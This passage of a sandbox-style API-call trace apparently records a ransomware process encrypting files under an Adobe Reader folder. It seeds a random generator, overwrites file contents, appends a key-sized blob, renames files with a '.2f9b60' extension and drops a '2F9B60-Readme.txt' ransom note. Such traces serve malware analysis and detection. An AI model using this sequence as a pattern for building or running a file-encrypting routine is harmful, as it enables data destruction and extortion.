lpNumberOfBytesRead=0x2319fd08*=0x4, lpOverlapped=0x0) returned 1 [0153.539] SetFilePointerEx (in: hFile=0x1480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053760 [0153.539] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420537f0 [0153.540] NtQuerySystemTime (in: CurrentTime=0x2319fc00 | out: CurrentTime=0x2319fc00*=132462177586750000) returned 0x0 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x224e74fb [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x1dee94e5 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x21a893c0 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x3b9611f2 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x166c8021 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x74a6bbd8 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x3b7f238d [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x6b4c11fe [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x208eb2ce [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x6c5efd6e [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x35a78f93 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x14b198e4 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x7176f909 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x37acc7a8 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x56e33a50 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x4f72bcb7 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x478572fc [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x46a577e3 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x6978df7a [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x1fdf5492 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x195b0351 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x353b28e0 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x5205e28b [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x1a93347f [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x6de9f026 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0xef7f8e9 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x1effac4a [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x49ce9861 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x636ba62a [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x2d7dbc70 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x4f7948e7 [0153.540] RtlRandomEx (in: Seed=0x2319fbf0 | out: Seed=0x2319fbf0) returned 0x1ecbe7f8 [0153.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053820 [0153.548] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420600b0 [0153.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053850 [0153.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420600b0) returned 1 [0153.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420537f0) returned 1 [0153.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0153.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420600b0 [0153.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42622de0 [0153.550] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426269f0 [0153.581] ReadFile (in: hFile=0x1480, lpBuffer=0x42622de0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2319fbf0, lpOverlapped=0x0 | out: lpBuffer=0x42622de0*, lpNumberOfBytesRead=0x2319fbf0*=0x1e00, lpOverlapped=0x0) returned 1 [0154.262] SetFilePointerEx (in: hFile=0x1480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.262] WriteFile (in: hFile=0x1480, lpBuffer=0x426269f0*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2319fbf4, lpOverlapped=0x0 | out: lpBuffer=0x426269f0*, lpNumberOfBytesWritten=0x2319fbf4*=0x1e00, lpOverlapped=0x0) returned 1 [0162.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420523e0 [0162.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420522f0 [0162.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420522f0) returned 1 [0162.209] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426269f0) returned 1 [0162.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42622de0) returned 1 [0162.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420600b0) returned 1 [0162.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0162.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x420522f0 [0162.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0162.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420600b0 [0162.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052350 [0162.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052350) returned 1 [0162.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42052350 [0162.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052320 [0162.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052500 [0162.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052500) returned 1 [0162.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420600b0) returned 1 [0162.213] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0162.213] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c166f0 [0162.213] SetFilePointerEx (in: hFile=0x1480, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.213] WriteFile (in: hFile=0x1480, lpBuffer=0x42c166f0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2319fd10, lpOverlapped=0x0 | out: lpBuffer=0x42c166f0*, lpNumberOfBytesWritten=0x2319fd10*=0x108, lpOverlapped=0x0) returned 1 [0164.247] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f10 [0164.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6f10) returned 1 [0164.248] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6f10 [0164.249] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6ee0 [0164.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6ee0) returned 1 [0164.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59930) returned 1 [0164.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059970) returned 1 [0164.250] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7aa9a0 [0164.250] sprintf (in: _Dest=0x1b7aa9a0, _Format="%c%c" | out: _Dest="b0") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9a2, _Format="%c%c" | out: _Dest="e0") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9a4, _Format="%c%c" | out: _Dest="be") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9a6, _Format="%c%c" | out: _Dest="09") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9a8, _Format="%c%c" | out: _Dest="01") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9aa, _Format="%c%c" | out: _Dest="47") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9ac, _Format="%c%c" | out: _Dest="63") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9ae, _Format="%c%c" | out: _Dest="bf") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9b0, _Format="%c%c" | out: _Dest="22") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9b2, _Format="%c%c" | out: _Dest="54") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9b4, _Format="%c%c" | out: _Dest="5e") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9b6, _Format="%c%c" | out: _Dest="f8") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9b8, _Format="%c%c" | out: _Dest="0a") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9ba, _Format="%c%c" | out: _Dest="a7") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9bc, _Format="%c%c" | out: _Dest="c4") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9be, _Format="%c%c" | out: _Dest="d1") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9c0, _Format="%c%c" | out: _Dest="f6") returned 2 [0164.250] sprintf (in: _Dest=0x1b7aa9c2, _Format="%c%c" | out: _Dest="4a") returned 2 [0164.251] sprintf (in: _Dest=0x1b7aa9c4, _Format="%c%c" | out: _Dest="ca") returned 2 [0164.251] sprintf (in: _Dest=0x1b7aa9c6, _Format="%c%c" | out: _Dest="6b") returned 2 [0164.251] sprintf (in: _Dest=0x1b7aa9c8, _Format="%c%c" | out: _Dest="db") returned 2 [0164.251] sprintf (in: _Dest=0x1b7aa9ca, _Format="%c%c" | out: _Dest="77") returned 2 [0164.251] RtlInitAnsiString (in: DestinationString=0x2319fd88, SourceString="b0e0be09014763bf22545ef80aa7c4d1f64aca6bdb77" | out: DestinationString="b0e0be09014763bf22545ef80aa7c4d1f64aca6bdb77") [0164.251] RtlAnsiStringToUnicodeString (in: DestinationString=0x2319fd58, SourceString="b0e0be09014763bf22545ef80aa7c4d1f64aca6bdb77", AllocateDestinationString=1 | out: DestinationString="b0e0be09014763bf22545ef80aa7c4d1f64aca6bdb77") returned 0x0 [0164.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fb000 [0164.251] RtlFreeAnsiString (AnsiString="b") [0164.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa9a0) returned 1 [0164.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d140) returned 1 [0164.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6f10) returned 1 [0164.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c166f0) returned 1 [0164.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052350) returned 1 [0164.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052320) returned 1 [0164.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420522f0) returned 1 [0164.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420523e0) returned 1 [0164.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053760) returned 1 [0164.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053820) returned 1 [0164.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053850) returned 1 [0164.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230efa0 [0164.254] wcscat (in: _Dest=0x4230efa0, _Source="b0e0be09014" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\b0e0be09014") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\b0e0be09014" [0164.254] wcscat (in: _Dest=0x4230efa0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\b0e0be09014.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\b0e0be09014.2f9b60" [0164.254] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\b0e0be09014.2f9b60", NtPathName=0x2319fd30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\b0e0be09014.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2bb90 [0165.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c2bb90) returned 1 [0165.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ad690) returned 1 [0165.143] NtQueryInformationFile (in: FileHandle=0x1480, IoStatusBlock=0x2319fd98, FileInformation=0x2319fda8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2319fd98, FileInformation=0x2319fda8) returned 0x0 [0165.143] NtSetInformationFile (FileHandle=0x1480, IoStatusBlock=0x2319fd98, FileInformation=0x2319fda8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4230efa0) returned 1 [0165.149] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203fb000) returned 1 [0165.149] FlushFileBuffers (hFile=0x1480) returned 1 [0166.269] CloseHandle (hObject=0x1480) returned 1 [0183.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb5a70 [0183.980] wcscpy (in: _Dest=0x1cdb5a70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\" [0183.981] wcscat (in: _Dest=0x1cdb5a70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" [0183.981] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt")) returned 0xffffffff [0184.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x249c [0234.345] WriteFile (in: hFile=0x249c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2319fc50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2319fc50*=0xba9, lpOverlapped=0x0) returned 1 [0234.382] CloseHandle (hObject=0x249c) Thread: id = 2416 os_tid = 0x1e34 [0153.379] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cze")) returned 0x20 [0153.380] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CZE", dwFileAttributes=0x20) returned 1 [0153.380] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.cze"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x147c [0153.380] GetFileSizeEx (in: hFile=0x147c, lpFileSize=0x2661f900 | out: lpFileSize=0x2661f900*=7680) returned 1 [0153.380] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.380] ReadFile (in: hFile=0x147c, lpBuffer=0x2661f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2661f8c8, lpOverlapped=0x0 | out: lpBuffer=0x2661f880*, lpNumberOfBytesRead=0x2661f8c8*=0x4, lpOverlapped=0x0) returned 1 [0153.582] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420537f0 [0153.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053880 [0153.583] NtQuerySystemTime (in: CurrentTime=0x2661f7c0 | out: CurrentTime=0x2661f7c0*=132462177587218000) returned 0x0 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x2b02ad4a [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x2838c446 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x7af372ef [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x447866e2 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x18cdb80b [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x1ff8b669 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x69eebada [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x4c760b67 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x37e9ff7f [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x122480f0 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x228395d4 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x365c91f6 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x6fc7a838 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x253a46b [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x599dea46 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x7cfadb6e [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x4e17cc2f [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x47c22343 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x478572fc [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x21a64ed2 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x4a2449e1 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x81b7f6e [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x4870577c [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x561e703d [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x480c96b8 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x6782e9cb [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x85d91c4 [0153.583] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x57aadf33 [0153.584] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x32e586cb [0153.584] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x696bbffa [0153.584] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x25976a54 [0153.584] RtlRandomEx (in: Seed=0x2661f7b0 | out: Seed=0x2661f7b0) returned 0x118c08ce [0153.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420538b0 [0153.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0153.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420538e0 [0153.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0153.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053880) returned 1 [0153.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ce0 [0153.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0153.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85aa80 [0153.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85aa80) returned 1 [0153.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4262a600 [0153.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2016a520 [0153.593] ReadFile (in: hFile=0x147c, lpBuffer=0x4262a600, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x2661f7b0, lpOverlapped=0x0 | out: lpBuffer=0x4262a600*, lpNumberOfBytesRead=0x2661f7b0*=0x1e00, lpOverlapped=0x0) returned 1 [0154.262] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.263] WriteFile (in: hFile=0x147c, lpBuffer=0x2016a520*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2661f7b4, lpOverlapped=0x0 | out: lpBuffer=0x2016a520*, lpNumberOfBytesWritten=0x2661f7b4*=0x1e00, lpOverlapped=0x0) returned 1 [0162.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a8030 [0162.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052380 [0162.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42052380) returned 1 [0162.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2016a520) returned 1 [0162.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4262a600) returned 1 [0162.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0162.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ce0) returned 1 [0162.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42052380 [0162.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058ce0 [0162.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060830 [0162.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420523b0 [0162.204] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420523b0) returned 1 [0162.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x420523b0 [0162.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42052410 [0162.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x420523e0 [0162.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420523e0) returned 1 [0162.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060830) returned 1 [0162.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ce0) returned 1 [0162.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c165e0 [0162.205] SetFilePointerEx (in: hFile=0x147c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.205] WriteFile (in: hFile=0x147c, lpBuffer=0x42c165e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2661f8d0, lpOverlapped=0x0 | out: lpBuffer=0x42c165e0*, lpNumberOfBytesWritten=0x2661f8d0*=0x108, lpOverlapped=0x0) returned 1 [0164.222] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059970 [0164.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59930 [0164.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053970 [0164.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053970) returned 1 [0164.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d140 [0164.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053970 [0164.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42053940 [0164.224] 